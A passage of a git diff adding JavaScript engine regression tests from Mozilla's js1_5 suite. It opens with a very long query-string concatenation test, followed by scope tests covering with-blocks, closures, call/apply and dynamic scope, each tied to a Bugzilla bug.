+ +"&RF32="+RF32
+ +"&RF33="+RF33
+ +"&RF34="+RF34
+ +"&RF35="+RF35
+ +"&RF36="+RF36
+ +"&RF37="+RF37
+ +"&RF38="+RF38
+ +"&RF39="+RF39
+ +"&RF40="+RF40
+ +"&RF41="+RF41
+ +"&RF42="+RF42
+ +"&RF43="+RF43
+ +"&RF44="+RF44
+ +"&RF45="+RF45
+ +"&RF46="+RF46
+ +"&RF47="+RF47
+ +"&RF48="+RF48
+ +"&RF49="+RF49
+ +"&RF50="+RF50
+ +"&RF51="+RF51
+ +"&RF52="+RF52
+ +"&RF53="+RF53
+ +"&RF54="+RF54
+ +"&RF55="+RF55
+ +"&RF56="+RF56
+ +"&RF57="+RF57
+ +"&RF58="+RF58
+ +"&RF59="+RF59
+ +"&RF60="+RF60
+ +"&RF61="+RF61
+ +"&RF62="+RF62
+ +"&RF63="+RF63
+ +"&RF64="+RF64
+ +"&RF65="+RF65
+ +"&RF66="+RF66
+ +"&RF67="+RF67
+ +"&CO08="+CO08
+ +"&CO09="+CO09
+ +"&CO10="+CO10
+ +"&CO11="+CO11
+ +"&CO12="+CO12
+ +"&CO13="+CO13
+ +"&CO14="+CO14
+ +"&CO15="+CO15
+ +"&CO16="+CO16
+ +"&CO17="+CO17
+ +"&CO18="+CO18
+ +"&CO19="+CO19
+ +"&WUCP="+WUCP
+ +"&AVSM="+AVSM
+ +"&SD01="+SD01
+ +"&SD02="+SD02
+ +"&SD03="+SD03
+ +"&SD04="+SD04
+ +"&SD05="+SD05
+ +"&SD06="+SD06
+ +"&SD07="+SD07
+ +"&TP01="+TP01
+ +"&TP02="+TP02
+ +"&TP03="+TP03
+ +"&TP04="+TP04
+ +"&WC08="+WC08
+ +"&WC09="+WC09
+ +"&WC10="+WC10
+ +"&WC11="+WC11
+ +"&WC12="+WC12
+ +"&WC13="+WC13
+ +"&WC14="+WC14
+ +"&WC15="+WC15
+ +"&MD01="+MD01
+ +"&MD02="+MD02
+ +"&MD03="+MD03
+ +"&MD04="+MD04
+ +"&MD05="+MD05
+ +"&MD06="+MD06
+ +"&MD07="+MD07
+ +"&MD08="+MD08
+ +"&MD09="+MD09
+ +"&MD10="+MD10
+ +"&MD11="+MD11
+ +"&MD12="+MD12
+ +"&MD13="+MD13
+ +"&MD14="+MD14
+ +"&MD15="+MD15
+ +"&MF01="+MF01
+ +"&MF02="+MF02
+ +"&MF03="+MF03
+ +"&MF04="+MF04
+ +"&MF05="+MF05
+ +"&MF06="+MF06
+ +"&MF07="+MF07
+ +"&MF08="+MF08
+ +"&MF09="+MF09
+ +"&MF10="+MF10
+ +"&MF11="+MF11
+ +"&MF12="+MF12
+ +"&MF13="+MF13
+ +"&MF14="+MF14
+ +"&MF15="+MF15
+ +"&PU01="+PU01
+ +"&PU02="+PU02
+ +"&PU03="+PU03
+ +"&PU04="+PU04
+ +"&PU05="+PU05
+ +"&SF00="+SF00
+ +"&NCDR="+NCDR
+ +"&AGCT="+AGCT
+ +"&MUS1="+MUS1
+ +"&MUS2="+MUS2
+ +"&MUS3="+MUS3
+ +"&SF66="+SF66
+ +"&SF67="+SF67
+ +"&SF68="+SF68
+ +"&FA33="+FA33
+ +"&FA34="+FA34
+ +"&AO44="+AO44
+ +"&IS44="+IS44
+ +"&B644="+B644
+ +"&IF52="+IF52
+ +"&IF53="+IF53
+ +"&IF54="+IF54
+ +"&IF55="+IF55
+ +"&IF56="+IF56
+ +"&IF57="+IF57
+ +"&IF58="+IF58
+ +"&IF59="+IF59
+ +"&IF60="+IF60
+ +"&IF61="+IF61
+ +"&IF62="+IF62
+ +"&IF63="+IF63
+ +"&IF64="+IF64
+ +"&IF65="+IF65
+ +"&IF66="+IF66
+ +"&IF67="+IF67
+ +"&IF68="+IF68
+ +"&MA28="+MA28
+ +"&NADL="+NADL
+ +"&AGCH="+AGCH
+ +"&LRNA="+LRNA
+ +"&LROT="+LROT
+ +"&WHRM="+WHRM
+ +"&WROT="+WROT
+ +"&DV01="+DV01
+ +"&DV02="+DV02
+ +"&DV03="+DV03
+ +"&DV04="+DV04
+ +"&DV05="+DV05
+ +"&DV06="+DV06
+ +"&DV07="+DV07
+ +"&DV08="+DV08
+ +"&PVUF="+PVUF
+ +"&WDVC="+WDVC
+ +"&VCOT="+VCOT
+ +"&VCPU="+VCPU
+ +"&PUCA="+PUCA
+ +"&PUOT="+PUOT
+ +"&SCAT="+SCAT
+ +"&UCBX="+UCBX
+ +"&CRDS="+CRDS
+ +"&SATP="+SATP
+ +"&BRPS="+BRPS
+ +"&BRES="+BRES
+ +"&HMCC="+HMCC
+ +"&MRTV="+MRTV
+ +"&WTTV="+WTTV
+ +"&WTOT="+WTOT
+ +"&MASL="+MASL
+ +"&RESL="+RESL
+ +"&OVSL="+OVSL
+ +"&MPNC="+MPNC
+ +"&NCOT="+NCOT
+ +"&MPCP="+MPCP
+ +"&CPOT="+CPOT
+ +"&CA01="+CA01
+ +"&CA02="+CA02
+ +"&CA03="+CA03
+ +"&CA04="+CA04
+ +"&CA05="+CA05
+ +"&CA06="+CA06
+ +"&HMVC="+HMVC
+ +"&CTVS="+CTVS
+ +"&CTVA="+CTVA
+ +"&WKCC="+WKCC
+ +"&TVBN="+TVBN
+ +"&VP01="+VP01
+ +"&VP02="+VP02
+ +"&VP03="+VP03
+ +"&VPOT="+VPOT
+ +"&WWVT="+WWVT
+ +"&FKTR="+FKTR
+ +"&FKTP="+FKTP
+ +"&FKOP="+FKOP
+ +"&PKOO="+PKOO
+ +"&C1AG="+C1AG
+ +"&C1FV="+C1FV
+ +"&C2AG="+C2AG
+ +"&C2FV="+C2FV
+ +"&C3AG="+C3AG
+ +"&C3FV="+C3FV
+ +"&C4AG="+C4AG
+ +"&C4FV="+C4FV
+ +"&C1A2="+C1A2
+ +"&N1HT="+N1HT
+ +"&N1VT="+N1VT
+ +"&C2A2="+C2A2
+ +"&N2HT="+N2HT
+ +"&N2VT="+N2VT
+ +"&C3A2="+C3A2
+ +"&N3HT="+N3HT
+ +"&N3VT="+N3VT
+ +"&C4A2="+C4A2
+ +"&N4HT="+N4HT
+ +"&N4VT="+N4VT
+ +"&HECG="+HECG
+ +"&HEIC="+HEIC
+ +"&HECC="+HECC
+ +"&HEDV="+HEDV
+ +"&PVPR="+PVPR
+ +"&PPOT="+PPOT
+ +"&BVOV="+BVOV
+ +"&HUVV="+HUVV
+ +"&HUOT="+HUOT
+ +"&RCVC="+RCVC
+ +"&HRVC="+HRVC
+ +"&HROT="+HROT
+ +"&NCP1="+NCP1
+ +"&CD01="+CD01
+ +"&CD02="+CD02
+ +"&CD03="+CD03
+ +"&CD04="+CD04
+ +"&CD05="+CD05
+ +"&RF73="+RF73
+ +"&RF74="+RF74
+ +"&RF75="+RF75
+ +"&RF76="+RF76
+ +"&RF77="+RF77
+ +"&RF78="+RF78
+ +"&RF79="+RF79
+ +"&RF80="+RF80
+ +"&RF81="+RF81
+ +"&RF82="+RF82
+ +"&RF83="+RF83
+ +"&RF84="+RF84
+ +"&RF85="+RF85
+ +"&RF86="+RF86
+ +"&YUDC="+YUDC
+ +"&OCPB="+OCPB
+ +"&IF49="+IF49
+ +"&IF50="+IF50
+ +"&MA27="+MA27
+ +"&CP01="+CP01
+ +"&CP02="+CP02
+ +"&CP03="+CP03
+ +"&CP04="+CP04
+ +"&CP05="+CP05
+ +"&CP06="+CP06
+ +"&CP07="+CP07
+ +"&CP08="+CP08
+ +"&CP09="+CP09
+ +"&CP10="+CP10
+ +"&CP11="+CP11
+ +"&CPFI="+CPFI
+ +"&OBRN="+OBRN
+ +"&OMDL="+OMDL
+ +"&SNQU="+SNQU
+ +"&TS01="+TS01
+ +"&TS02="+TS02
+ +"&TS03="+TS03
+ +"&TS04="+TS04
+ +"&TS05="+TS05
+ +"&TS06="+TS06
+ +"&TS07="+TS07
+ +"&TS08="+TS08
+ +"&RPAU="+RPAU
+ +"&US01="+US01
+ +"&US02="+US02
+ +"&US03="+US03
+ +"&US04="+US04
+ +"&US05="+US05
+ +"&US06="+US06
+ +"&US07="+US07
+ +"&US08="+US08
+ +"&US09="+US09
+ +"&US10="+US10
+ +"&US11="+US11
+ +"&US12="+US12
+ +"&US13="+US13
+ +"&US14="+US14
+ +"&LK01="+LK01
+ +"&LK02="+LK02
+ +"&LK03="+LK03
+ +"&LK04="+LK04
+ +"&LK05="+LK05
+ +"&LK06="+LK06
+ +"&LK07="+LK07
+ +"&LK08="+LK08
+ +"&LK09="+LK09
+ +"&LK10="+LK10
+ +"&LK11="+LK11
+ +"&LK12="+LK12
+ +"&LK13="+LK13
+ +"&LK14="+LK14
+ +"&NCID="+NCID
+ +"&NP01="+NP01
+ +"&NP02="+NP02
+ +"&NP03="+NP03
+ +"&NP04="+NP04
+ +"&NP05="+NP05
+ +"&NP06="+NP06
+ +"&NP07="+NP07
+ +"&NP08="+NP08
+ +"&PLPH="+PLPH
+ +"&LPFI="+LPFI
+ +"&POP2="+POP2
+ +"&OPP2="+OPP2
+ +"&PULO="+PULO
+ +"&ARTI="+ARTI
+ +"&FND2="+FND2
+ +"&IWUM="+IWUM
+ +"&VTPS="+VTPS
+ +"&VPFI="+VPFI
+ +"&MART="+MART
+ +"&OB15="+OB15
+ +"&IF69="+IF69
+ +"&IF70="+IF70
+ +"&IF71="+IF71
+ +"&OF20="+OF20
+ +"&OS20="+OS20
+ +"&BR20="+BR20
+ +"&OF21="+OF21
+ +"&OS21="+OS21
+ +"&BR21="+BR21
+ +"&FC18="+FC18
+ +"&IF72="+IF72
+ +"&IF73="+IF73
+ +"&IF74="+IF74
+ +"&IF75="+IF75
+ +"&IF76="+IF76
+ +"&IF77="+IF77
+ +"&IF78="+IF78
+ +"&MA29="+MA29
+ +"&MA30="+MA30
+ +"&OF22="+OF22
+ +"&OS22="+OS22
+ +"&BR22="+BR22
+ +"&IF79="+IF79
+ +"&IF80="+IF80
+ +"&IF81="+IF81
+ +"&MA31="+MA31
+ +"&OF23="+OF23
+ +"&OS23="+OS23
+ +"&BR23="+BR23
+ +"&OF24="+OF24
+ +"&OS24="+OS24
+ +"&BR24="+BR24
+ +"&OF25="+OF25
+ +"&OS25="+OS25
+ +"&BR25="+BR25
+ +"&OF26="+OF26
+ +"&OS26="+OS26
+ +"&BR26="+BR26
+ +"&FC19="+FC19
+ +"&IF51="+IF51
+ +"&SUIN="+SUIN
+ +"&CBRN="+CBRN
+ +"&PICW="+PICW
+ +"&PICI="+PICI
+ +"&WS01="+WS01
+ +"&WS02="+WS02
+ +"&WS03="+WS03
+ +"&WS04="+WS04
+ +"&WS05="+WS05
+ +"&WS06="+WS06
+ +"&WS07="+WS07
+ +"&WS08="+WS08
+ +"&WS09="+WS09
+ +"&WS10="+WS10
+ +"&WSOT="+WSOT
+ +"&WR01="+WR01
+ +"&WR02="+WR02
+ +"&WR03="+WR03
+ +"&WR04="+WR04
+ +"&WR05="+WR05
+ +"&WR06="+WR06
+ +"&WR07="+WR07
+ +"&WR08="+WR08
+ +"&WR09="+WR09
+ +"&WR10="+WR10
+ +"&WR11="+WR11
+ +"&WR12="+WR12
+ +"&WR13="+WR13
+ +"&SV01="+SV01
+ +"&SV02="+SV02
+ +"&SV03="+SV03
+ +"&BMOL="+BMOL
+ +"&WTBM="+WTBM
+ +"&WJSU="+WJSU
+ +"&OF27="+OF27
+ +"&OS27="+OS27
+ +"&BR27="+BR27
+ +"&OF28="+OF28
+ +"&OS28="+OS28
+ +"&BR28="+BR28
+ +"&IF82="+IF82
+ +"&IF83="+IF83
+ +"&MA32="+MA32
+ +"&MA33="+MA33
+ +"&MA34="+MA34
+ +"&SFOT="+SFOT
+ +"&MPDC="+MPDC
+ +"&DCOT="+DCOT
+ ;
+ return data;
+}
+
+formData();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/shell.js b/js/src/tests/js1_5/Regress/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/shell.js
diff --git a/js/src/tests/js1_5/Scope/browser.js b/js/src/tests/js1_5/Scope/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/Scope/browser.js
diff --git a/js/src/tests/js1_5/Scope/regress-154693.js b/js/src/tests/js1_5/Scope/regress-154693.js
new file mode 100644
index 000000000..10f8c1409
--- /dev/null
+++ b/js/src/tests/js1_5/Scope/regress-154693.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 26 Nov 2002
+ * SUMMARY: Testing scope
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=154693
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 154693;
+var summary = 'Testing scope';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f()
+{
+ function nested() {}
+ return nested;
+}
+var f1 = f();
+var f2 = f();
+
+status = inSection(1);
+actual = (f1 != f2);
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Scope/regress-181834.js b/js/src/tests/js1_5/Scope/regress-181834.js
new file mode 100644
index 000000000..311ae2e9a
--- /dev/null
+++ b/js/src/tests/js1_5/Scope/regress-181834.js
@@ -0,0 +1,149 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 25 November 2002
+ * SUMMARY: Testing scope
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=181834
+ *
+ * This bug only bit in Rhino interpreted mode, when the
+ * 'compile functions with dynamic scope' feature was set.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 181834;
+var summary = 'Testing scope';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * If N<=0, |outer_d| just gets incremented once,
+ * so the return value should be 1 in this case.
+ *
+ * If N>0, we end up calling inner() N+1 times:
+ * inner(N), inner(N-1), ... , inner(0).
+ *
+ * Each call to inner() increments |outer_d| by 1.
+ * The last call, inner(0), returns the final value
+ * of |outer_d|, which should be N+1.
+ */
+function outer(N)
+{
+ var outer_d = 0;
+ return inner(N);
+
+ function inner(level)
+ {
+ outer_d++;
+
+ if (level > 0)
+ return inner(level - 1);
+ else
+ return outer_d;
+ }
+}
+
+
+/*
+ * This only has meaning in Rhino -
+ */
+setDynamicScope(true);
+
+/*
+ * Recompile the function |outer| via eval() in order to
+ * feel the effect of the dynamic scope mode we have set.
+ */
+var s = outer.toString();
+eval(s);
+
+status = inSection(1);
+actual = outer(-5);
+expect = 1;
+addThis();
+
+status = inSection(2);
+actual = outer(0);
+expect = 1;
+addThis();
+
+status = inSection(3);
+actual = outer(5);
+expect = 6;
+addThis();
+
+
+/*
+ * Sanity check: do same steps with the dynamic flag off
+ */
+setDynamicScope(false);
+
+/*
+ * Recompile the function |outer| via eval() in order to
+ * feel the effect of the dynamic scope mode we have set.
+ */
+eval(s);
+
+status = inSection(4);
+actual = outer(-5);
+expect = 1;
+addThis();
+
+status = inSection(5);
+actual = outer(0);
+expect = 1;
+addThis();
+
+status = inSection(6);
+actual = outer(5);
+expect = 6;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function setDynamicScope(flag)
+{
+ if (this.Packages)
+ {
+ var cx = this.Packages.org.mozilla.javascript.Context.getCurrentContext();
+ cx.setCompileFunctionsWithDynamicScope(flag);
+ }
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Scope/regress-184107.js b/js/src/tests/js1_5/Scope/regress-184107.js
new file mode 100644
index 000000000..ede6f42e9
--- /dev/null
+++ b/js/src/tests/js1_5/Scope/regress-184107.js
@@ -0,0 +1,93 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 09 December 2002
+ * SUMMARY: with(...) { function f ...} should set f in the global scope
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=184107
+ *
+ * In fact, any variable defined in a with-block should be created
+ * in global scope, i.e. should be a property of the global object.
+ *
+ * The with-block syntax allows existing local variables to be SET,
+ * but does not allow new local variables to be CREATED.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=159849#c11
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 184107;
+var summary = 'with(...) { function f ...} should set f in the global scope';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var obj = {y:10};
+with (obj)
+{
+ // function statement
+ function f()
+ {
+ return y;
+ }
+
+ // function expression
+ g = function() {return y;}
+}
+
+status = inSection(1);
+actual = obj.f;
+expect = undefined;
+addThis();
+
+status = inSection(2);
+actual = f();
+expect = obj.y;
+addThis();
+
+status = inSection(3);
+actual = obj.g;
+expect = undefined;
+addThis();
+
+status = inSection(4);
+actual = g();
+expect = obj.y;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Scope/regress-185485.js b/js/src/tests/js1_5/Scope/regress-185485.js
new file mode 100644
index 000000000..19d190eea
--- /dev/null
+++ b/js/src/tests/js1_5/Scope/regress-185485.js
@@ -0,0 +1,129 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 16 Dec 2002
+ * SUMMARY: Testing |with (x) {function f() {}}| when |x.f| already exists
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=185485
+ *
+ * The idea is this: if |x| does not already have a property named |f|,
+ * a |with| statement cannot be used to define one. See, for example,
+ *
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=159849#c11
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=184107
+ *
+ *
+ * However, if |x| already has a property |f|, a |with| statement can be
+ * used to modify the value it contains:
+ *
+ * with (x) {f = 1;}
+ *
+ * This should work even if we use a |var| statement, like this:
+ *
+ * with (x) {var f = 1;}
+ *
+ * However, it should NOT work if we use a |function| statement, like this:
+ *
+ * with (x) {function f() {}}
+ *
+ * Instead, this should newly define a function f in global scope.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=185485
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 185485;
+var summary = 'Testing |with (x) {function f() {}}| when |x.f| already exists';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var x = { f:0, g:0 };
+
+with (x)
+{
+ f = 1;
+}
+status = inSection(1);
+actual = x.f;
+expect = 1;
+addThis();
+
+with (x)
+{
+ var f = 2;
+}
+status = inSection(2);
+actual = x.f;
+expect = 2;
+addThis();
+
+/*
+ * Use of a function statement under the with-block should not affect
+ * the local property |f|, but define a function |f| in global scope -
+ */
+with (x)
+{
+ function f() {}
+}
+status = inSection(3);
+actual = x.f;
+expect = 2;
+addThis();
+
+status = inSection(4);
+actual = typeof this.f;
+expect = 'function';
+addThis();
+
+
+/*
+ * Compare use of function expression instead of function statement.
+ * Note it is important that |x.g| already exists. Otherwise, this
+ * would newly define |g| in global scope -
+ */
+with (x)
+{
+ var g = function() {}
+}
+status = inSection(5);
+actual = x.g.toString();
+expect = (function () {}).toString();
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Scope/regress-191276.js b/js/src/tests/js1_5/Scope/regress-191276.js
new file mode 100644
index 000000000..e1685ea34
--- /dev/null
+++ b/js/src/tests/js1_5/Scope/regress-191276.js
@@ -0,0 +1,94 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 30 January 2003
+ * SUMMARY: Testing |this[name]| via Function.prototype.call(), apply()
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=191276
+ *
+ * Igor: "This script fails when run in Rhino compiled mode, but passes in
+ * interpreted mode. Note that presence of the never-called |unused_function|
+ * with |f('a')| line is essential; the script works OK without it."
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 191276;
+var summary = 'Testing |this[name]| via Function.prototype.call(), apply()';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function F(name)
+{
+ return this[name];
+}
+
+function unused_function()
+{
+ F('a');
+}
+
+status = inSection(1);
+actual = F.call({a: 'aaa'}, 'a');
+expect = 'aaa';
+addThis();
+
+status = inSection(2);
+actual = F.apply({a: 'aaa'}, ['a']);
+expect = 'aaa';
+addThis();
+
+/*
+ * Try the same things with an object variable instead of a literal
+ */
+var obj = {a: 'aaa'};
+
+status = inSection(3);
+actual = F.call(obj, 'a');
+expect = 'aaa';
+addThis();
+
+status = inSection(4);
+actual = F.apply(obj, ['a']);
+expect = 'aaa';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Scope/regress-192226.js b/js/src/tests/js1_5/Scope/regress-192226.js
new file mode 100644
index 000000000..1bbf64329
--- /dev/null
+++ b/js/src/tests/js1_5/Scope/regress-192226.js
@@ -0,0 +1,91 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 07 February 2003
+ * SUMMARY: Testing a nested function call under |with| or |catch|
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=192226
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 192226;
+var summary = 'Testing a nested function call under |with| or |catch|';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var counter = 0;
+
+
+function f()
+{
+ try
+ {
+ with (Math)
+ {
+ test0();
+ test1(sin);
+ }
+ throw 1;
+ }
+ catch (e)
+ {
+ test0();
+ test1(e);
+ }
+}
+
+function test0()
+{
+ ++counter;
+}
+
+function test1(arg)
+{
+ ++counter;
+}
+
+
+status = inSection(1);
+f(); // sets |counter|
+actual = counter;
+expect = 4;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Scope/regress-202678-001.js b/js/src/tests/js1_5/Scope/regress-202678-001.js
new file mode 100644
index 000000000..6ba1cd27a
--- /dev/null
+++ b/js/src/tests/js1_5/Scope/regress-202678-001.js
@@ -0,0 +1,102 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 19 April 2003
+ * SUMMARY: Testing nested function scope capture
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=202678
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 202678;
+var summary = 'Testing nested function scope capture';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var self = this;
+
+
+function myFunc()
+{
+ var hidden = 'aaa';
+ insideFunc();
+
+ if (!self.runOnce)
+ {
+ var hidden = 'bbb';
+ self.outSideFunc = insideFunc;
+ self.runOnce = true;
+ }
+ else
+ {
+ var hidden = 'ccc';
+ }
+
+
+ function insideFunc()
+ {
+ actual = hidden;
+ }
+}
+
+
+
+status = inSection(1);
+myFunc(); // this sets |actual|
+expect = 'aaa';
+addThis();
+
+status = inSection(2);
+outSideFunc(); // sets |actual|
+expect = 'bbb';
+addThis();
+
+status = inSection(3);
+myFunc(); // sets |actual|
+expect = 'aaa';
+addThis();
+
+status = inSection(4);
+outSideFunc(); // sets |actual|
+expect = 'bbb'; // NOT 'ccc'
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Scope/regress-202678-002.js b/js/src/tests/js1_5/Scope/regress-202678-002.js
new file mode 100644
index 000000000..9638cc18c
--- /dev/null
+++ b/js/src/tests/js1_5/Scope/regress-202678-002.js
@@ -0,0 +1,103 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 19 April 2003
+ * SUMMARY: Testing nested function scope capture
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=202678
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 202678;
+var summary = 'Testing nested function scope capture';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var self = this;
+
+
+function myFunc()
+{
+ var hidden = 'aaa';
+ insideFunc();
+
+ if (!self.runOnce)
+ {
+ var hidden = 'bbb';
+ self.outSideFunc = insideFunc;
+ self.runOnce = true;
+ }
+ else
+ {
+ var hidden = 'ccc';
+ self.outSideFunc = insideFunc;
+ }
+
+
+ function insideFunc()
+ {
+ actual = hidden;
+ }
+}
+
+
+
+status = inSection(1);
+myFunc(); // this sets |actual|
+expect = 'aaa';
+addThis();
+
+status = inSection(2);
+outSideFunc(); // sets |actual|
+expect = 'bbb';
+addThis();
+
+status = inSection(3);
+myFunc(); // sets |actual|
+expect = 'aaa';
